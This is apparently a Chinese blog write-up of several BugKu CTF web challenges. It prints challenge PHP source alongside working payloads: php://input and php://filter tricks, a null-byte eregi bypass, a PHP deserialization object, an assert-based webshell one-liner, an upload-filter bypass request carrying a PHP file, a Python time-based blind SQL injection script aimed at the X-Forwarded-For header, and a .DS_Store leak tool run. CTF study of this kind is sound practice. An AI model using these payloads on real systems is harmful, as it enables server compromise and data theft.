BugKu web部分(二)
Dec 25, 2017 09:54 · 568 words · 3 minute read
ctf练习平台-1的后续
never give up
打开链接后查看源码看到提示 1p.html,于是去访问
http://120.24.86.145:8006/test/1p.html
访问后自己跳转到了官网,抓包看看,然后发现返回包有一段js代码如下。
<SCRIPT LANGUAGE="Javascript">
<\!--
var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
</SCRIPT>
把它解密后是一段base64,继续解密得到一段url编码,再解密得到如下代码
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
根据刚刚的情形分析这就是hello.php的源码。开始分析
主要过滤代码是
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
首先看$data,这个变量是由@file_get_contents($a,‘r’);得来的,(刚好昨天看的安恒杯12月月赛的一个题有用到这个函数,但是看了很久,虽然没有做出来,但是对这个函数有了很深的了解。) 这个函数的作用是将一个文件读入一个字符串,但是有另一种写法。如下
file_get_contents(php://input)
这样写的file_get_contents函数可以读取没有被处理的post数据。 例:
#假设post传递的参数和值如下
#$id=hahha&$idd=yang
$a = file_get_contents(PHP://input);
echo $a;
#输出yang
知道了这个就可以绕过$data==“bugku is a nice plateform!“。
继续看$id,这个可以用弱类型的0等于字符串绕。
然后是$b,eregi函数存在00截断漏洞,所以将substr($b,0,1)变为\x00就好。
最终的payload如下
http://120.24.86.145:8006/test/hello.php?id=dsasdas&a=php://input&b=%00dsnakjsbdasd
post提交数据 :bugku is a nice plateform!
flag{tHis_iS_THe_fLaG}
welcome to bugkuctf
这个看了好久。。
右键查看源码
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
通过这段代码我们可以大概有一个思路,绕过对$user的检测,然后包含hint.php。
file_get_contents函数的PHP://input写法,上一题刚写。 payload
?txt=php://input&file=hint.php&password=sdl
post提交:welcome to the bugkuctf
提交过后没有什么变化,然后又想到使用php协议读取文件内容 payload
http://120.24.86.145:8006/test1/index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=sdasd
读取的hint.php代码为
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
可以再读取一下index.php的代码
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
通过这两段代码可以看到有一个flag.php,还有password参数的用处,password参数还会经过反序列化处理。但是发现这些并没有什么卵用,php菜的抠脚,hint.php都看不大懂,还以为__tostring是自己定义的函数。。看了好久实在没招了,看了网上的writeup,才知道__tostring是php的一个魔术方法.
看了网上的一篇介绍反序列化导致的漏洞后,知道在输出经过反序列化的对象时可以触发__tostring方法。
所以就可以在包含hint.php时,构造password的值为Flag类的一个对象的序列化值。
现在就知道了password参数的用途,之前还想着绕过对flag的检测,直接在index.php里读取flag.php。。
继续分析hint.php,Flag这个类的__tostring方法还会检测$file是否存在,如果存在就会用file_get_contents函数处理$file。
由hint.php可知,构造的序列化对象中要有file参数,并且file参数等于flag.php。之前因为构造file参数的方法不对,卡了好长时间。
构造password参数的代码如下
class Flag{//flag.php
public $file;
}
$a = new Flag();
$a->file = "flag.php";
$a = serialize($a);
echo $a;
ps:之前二逼的写法
$a = new Flag("flag.php");
$a = serialize($a);
echo "$a";
最终的payload:
http://120.24.86.145:8006/test1/index.php?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
post数据: welcome to the bugkuctf
提交后可以发现页面返回good,查看源码发现flag
flag{php_is_the_best_language}
login1
专门写了一篇来描述这个漏洞。
SKCTF{4Dm1n_HaV3_GreAt_p0w3R}
过狗一句话
题目给的源码
<?php
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
?>
分析知$poc_2是assert,这是一个php的函数,该函数可以将字符串当做php代码执行,
所以构造一个目录的字符串
print_r(glob("*"));
BUGKU{bugku_web_009801_a}
字符?正则?
源码
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
构造的参数为
?id=keykeykeykeykey:/\/keya[:punct:]
KEY{0x0SIOPh550afc}
求getshell
看了题解才知道还对请求头的content-type做了过滤,需要用大写绕过。
一共三个过滤 请求头部的 Content-Type 文件后缀 请求数据的Content-Type
最终的请求包如下
POST /web9/index.php HTTP/1.1
Host: 120.24.86.145:8002
Content-Length: 301
Cache-Control: max-age=0
Origin: http://120.24.86.145:8002
Upgrade-Insecure-Requests: 1
Content-Type: Multipart/form-data; boundary=----WebKitFormBoundarylJUBBnXhPPl0l9sd #就是这里,需要修改一个字母为大写来绕
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://120.24.86.145:8002/web9/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: bdshare_firstime=1513927706366
Connection: close
------WebKitFormBoundarylJUBBnXhPPl0l9sd
Content-Disposition: form-data; name="file"; filename="1.php5" # 后缀php5没有过滤
Content-Type: image/png # 这里也做了过滤,需要改为image/png
<?php
phpinfo();
?>
------WebKitFormBoundarylJUBBnXhPPl0l9sd
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundarylJUBBnXhPPl0l9sd--
KEY{bb35dc123820e}
web15(insert盲注)
给的源码
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
题目提示写脚本 看完代码,发现这是一个insert注入,之前还没有试过这种盲注。
#coding=utf-8
import requests
def url(num,asc):
url = 'http://120.24.86.145:8002/web15/'
header={
'X-Forwarded-For': '1.1.1.1\' and case when ascii(mid((select flag from flag) from '+str(num)+' for 1))>'+str(asc)+' then sleep(5) else 1 end ) #'
}
r = requests.post(url,headers=header,timeout=4)
def tryy(num,asc):
try:
url(num,asc)
except Exception as e:
return 1
else:
return 0
ans=''
for num in range(1,50):
min1=0
max1=255
while 1:
middle= int((min1+max1)/2)
time = tryy(num,middle)
if time==1:
min1=middle
if time==0:
max1=middle
if min1+1==max1:
ans = ans + chr(max1)
print(ans)
break
print(ans)
跑出来的结果(跑了好几遍,之前老会出错,可能跟网有关)
cdbf14c9551d5be5612f7bb5d2867853
flag{cdbf14c9551d5be5612f7bb5d2867853}
sql注入2
提示什么都过滤了,但是还是尝试了一下,发现真的是都过滤了。。。
实在没有办法,看了网上的writeup,结果说是.DS_Store文件泄漏。。。
D:\工具\文件泄露\ds_store_exp-master>python2 ds_store_exp.py http://120.24.86.145:8007/web2/.DS_Store
[+] http://120.24.86.145:8007/web2/.DS_Store
[+] http://120.24.86.145:8007/web2/login.php
[+] http://120.24.86.145:8007/web2/index.php
[+] http://120.24.86.145:8007/web2/flag
[+] http://120.24.86.145:8007/web2/admin
直接把flag下载下来了。
flag{sql_iNJEct_comMon3600!}